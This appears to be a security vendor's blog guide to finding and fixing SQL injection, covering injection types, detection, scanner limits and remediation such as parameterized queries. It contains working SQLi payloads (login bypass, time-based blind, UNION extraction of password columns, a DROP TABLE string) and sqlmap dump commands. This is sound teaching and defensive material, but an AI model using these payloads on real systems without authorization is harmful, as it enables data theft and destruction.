SQL Injection Testing Guide: How to Find and Prevent SQLi

SQL injection has been on the OWASP Top 10 since the list was created. It consistently tops vulnerability reports from bug bounty platforms. And it's still being found in production applications every week — including at companies with active security programs.

That isn't because developers are careless. It's because SQLi is easy to introduce, subtle in some of its forms, and inconsistently tested. This guide covers how SQL injection works, how to test for it systematically, what automated scanning catches versus what it misses, and what real remediation looks like.

What SQL Injection Actually Is

SQL injection happens when user-supplied input is incorporated into a database query without proper separation between code and data. The database interprets the input as SQL syntax rather than a literal value, which gives the attacker control over query logic.

Classic example — a login check:

SELECT * FROM users WHERE username = '$username' AND password = '$password'

If $username is set to admin' --, the resulting query becomes:

SELECT * FROM users WHERE username = 'admin' --' AND password = '...'

The -- comments out the rest. The attacker authenticates as admin without knowing the password.

That's the textbook version. Real SQLi is often subtler — timing attacks, blind boolean inference, second-order injection through stored data, and injection points in unexpected locations like HTTP headers, cookies, and JSON fields.

Types of SQL Injection

In-band SQLi (Classic) Results are returned directly in the application response. The easiest to detect and exploit. Includes error-based SQLi (where database error messages leak schema information) and union-based SQLi (where attacker-controlled data is added to the result set).
Blind SQLi No data is returned in the response, but the attacker can infer information from application behavior. Boolean-based blind: the response changes depending on whether a condition is true or false. Time-based blind: the attacker injects conditional sleep statements (IF(1=1, SLEEP(5), 0)) and measures response time.
Out-of-band SQLi Data is exfiltrated via a separate channel — typically DNS or HTTP requests triggered by database functions like UTL_HTTP (Oracle) or xp_cmdshell (MSSQL). Rare but powerful, especially on databases with internet access.
Second-order (Stored) SQLi Malicious input is stored in the database and executed in a later query — often one that trusts the stored value. Hard to detect because the injection point and the execution point are separated. Classic example: a username field that is later inserted unsanitized into an admin query.

Where to Test: Finding Injection Points

SQLi can occur wherever user input touches a database query. Start by mapping every input surface:

Most testers start with URL parameters and forms. The interesting vulnerabilities often hide in headers and second-order paths.

Manual Testing Techniques

Basic probes

Start with characters that have special meaning in SQL. If the application behaves differently or returns a database error, you have a candidate injection point:

' " ; -- /* */ #
1' AND '1'='1
1' AND '1'='2
1 OR 1=1
1 AND 1=2

A boolean test pair is the most reliable signal. If 1' AND '1'='1 returns results and 1' AND '1'='2 returns nothing, you have blind SQLi.

Error-based detection

Submit inputs designed to trigger syntax errors:

'
''
`
,
"

Database error messages like You have an error in your SQL syntax (MySQL), ORA-00907 (Oracle), or Unclosed quotation mark (MSSQL) confirm the vulnerability and reveal the database type.

A well-configured application should never return raw database errors. If it does, that's both a SQLi indicator and a separate information disclosure finding.

Time-based blind testing

When the application returns no useful signal, use conditional delays:

-- MySQL
1' AND SLEEP(5)--
1' AND IF(1=1,SLEEP(5),0)--

-- PostgreSQL
1'; SELECT pg_sleep(5)--

-- MSSQL
1'; WAITFOR DELAY '0:0:5'--

-- Oracle
1' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)--

If the response takes ~5 seconds longer than normal, you have time-based blind SQLi. Repeat with the condition inverted to confirm it's conditional, not just a slow query.

Union-based extraction

Once a UNION injection is confirmed, use it to read arbitrary data:

-- First, find the number of columns in the original query
1 ORDER BY 1--
1 ORDER BY 2--
1 ORDER BY 3--  -- until error

-- Then confirm which columns are visible
1 UNION SELECT NULL, NULL, NULL--
1 UNION SELECT 'a', NULL, NULL--

-- Finally, extract data
1 UNION SELECT username, password, NULL FROM users--

This is the manual version of what automated tools like sqlmap automate. The tool is faster but understanding the technique tells you whether a tool finding is real.

What Automated Scanning Catches

Automated scanners are good at systematic coverage — they can test hundreds of parameters with dozens of payloads faster than any human. For SQLi specifically:

SQLi Type Automated Detection Notes
In-band (error-based) Reliable Error strings are easy to pattern-match
In-band (union-based) Reliable Requires crawling to find all endpoints
Boolean-based blind Good May miss when responses are complex
Time-based blind Good Slow; network jitter causes false negatives
Second-order (stored) Poor Requires understanding multi-step flows
Out-of-band Limited Needs OOB callback infrastructure

The biggest scanner blind spot is second-order injection. Automated tools typically test each endpoint in isolation. Second-order SQLi requires understanding that data entered at endpoint A is later used unsanitized at endpoint B — that kind of semantic understanding is still largely manual work.

The sqlmap Primer

sqlmap is the standard tool for SQLi exploitation. Understanding its options matters because default settings are often too aggressive or too conservative:

# Basic scan on a GET parameter
sqlmap -u "https://example.com/items?id=1" --dbs

# Test a POST request
sqlmap -u "https://example.com/login" --data="user=admin&pass=test"

# Include cookie authentication
sqlmap -u "https://example.com/profile?id=1" --cookie="session=abc123"

# Test specific parameter only
sqlmap -u "https://example.com/items?id=1&cat=shoes" -p id

# Less aggressive risk/level for production
sqlmap -u "https://example.com/items?id=1" --level=1 --risk=1

# Extract specific table
sqlmap -u "https://example.com/items?id=1" -D myapp -T users --dump

Key flags: --level (1-5, how many tests to run) and --risk (1-3, how dangerous the tests are). For production systems, stay at level 1, risk 1 unless you have explicit authorization for more aggressive testing.

sqlmap is powerful but noisy — it generates distinctive traffic patterns. Production firewalls will often block it. For authorized testing, tamper scripts (--tamper) can help bypass WAF rules, though that's getting into red team territory.

Testing APIs and JSON Endpoints

REST APIs are increasingly the primary attack surface. The same injection logic applies, but in a JSON context:

POST /api/users/search HTTP/1.1
Content-Type: application/json

{"query": "admin' OR '1'='1"}
{"id": "1 UNION SELECT username,password FROM users--"}
{"filter": {"name": "test'; DROP TABLE users;--"}}

Many developers treat JSON bodies as inherently safe and skip input validation. They're not. If the API passes JSON values directly into SQL queries — which is common in legacy codebases that added REST endpoints on top of existing SQL code — they're as vulnerable as any other input vector.

GraphQL adds additional complexity. Variables in GraphQL queries can be injected just like URL parameters if the resolver builds raw SQL from them.

Remediation: What Actually Works

Parameterized queries (primary fix)

The correct fix for SQL injection is parameterized queries (also called prepared statements). The query structure is defined first, with placeholders for values. The database receives structure and data separately — user input cannot change the query structure.

-- Vulnerable (string concatenation)
query = "SELECT * FROM users WHERE username = '" + username + "'"

-- Fixed (parameterized)
query = "SELECT * FROM users WHERE username = ?"
cursor.execute(query, (username,))

# Python (psycopg2)
cursor.execute("SELECT * FROM users WHERE username = %s", (username,))

# Java (PreparedStatement)
PreparedStatement stmt = conn.prepareStatement(
    "SELECT * FROM users WHERE username = ?");
stmt.setString(1, username);

This works for every database type and every SQL injection variant. It's not a partial fix — parameterized queries make it structurally impossible for user input to alter query logic.

ORMs and query builders

Most modern ORMs use parameterized queries internally when you use their standard API. Django ORM, SQLAlchemy, ActiveRecord, Hibernate — all safe by default when used correctly. The risk reappears when developers use raw query methods:

# Safe
User.objects.filter(username=username)

# Vulnerable (raw SQL with concatenation)
User.objects.raw(f"SELECT * FROM users WHERE username = '{username}'")

Grep your codebase for .raw(, execute(, text(, and similar raw-query methods. Each one is a candidate for review.

Input validation (secondary defense)

Input validation is a secondary control, not a primary fix. Allowlist validation (only accepting known-good formats) adds defense in depth but has gaps — a product name field legitimately needs apostrophes, a search field needs special characters. Validation alone will fail.

Stored procedures

Stored procedures can be safe if they use parameterized inputs internally. They can also be vulnerable if they build dynamic SQL internally with concatenation. The stored procedure wrapper doesn't matter — what matters is whether the underlying SQL separates code from data.

Least privilege database accounts

Even if SQLi is found, the blast radius depends on what the database account can do. Application accounts should have only the permissions they need: SELECT, INSERT, UPDATE, DELETE on application tables. They should not have EXECUTE on system procedures, CREATE/DROP permissions, or access to sensitive system tables. This doesn't prevent SQLi from being exploited for data reads, but it prevents attackers from escalating to OS command execution via database functions.

Testing Checklist

Before closing a SQLi test for any application:

What Good Looks Like in a Report

A SQLi finding isn't complete without:

SQLi severity ranges from medium (read-only access to non-sensitive data) to critical (full database read/write with OS command execution). Classify based on actual exploitation potential, not just presence of the vulnerability.

Ironimo runs automated SQL injection testing across every input surface of your application — URL parameters, form fields, API endpoints, JSON bodies, and HTTP headers — using the same tools professional pentesters use on Kali Linux.

Schedule scans on demand or on a recurring basis. Results come with proof-of-concept payloads and remediation guidance.

Start free scan
← Back to blog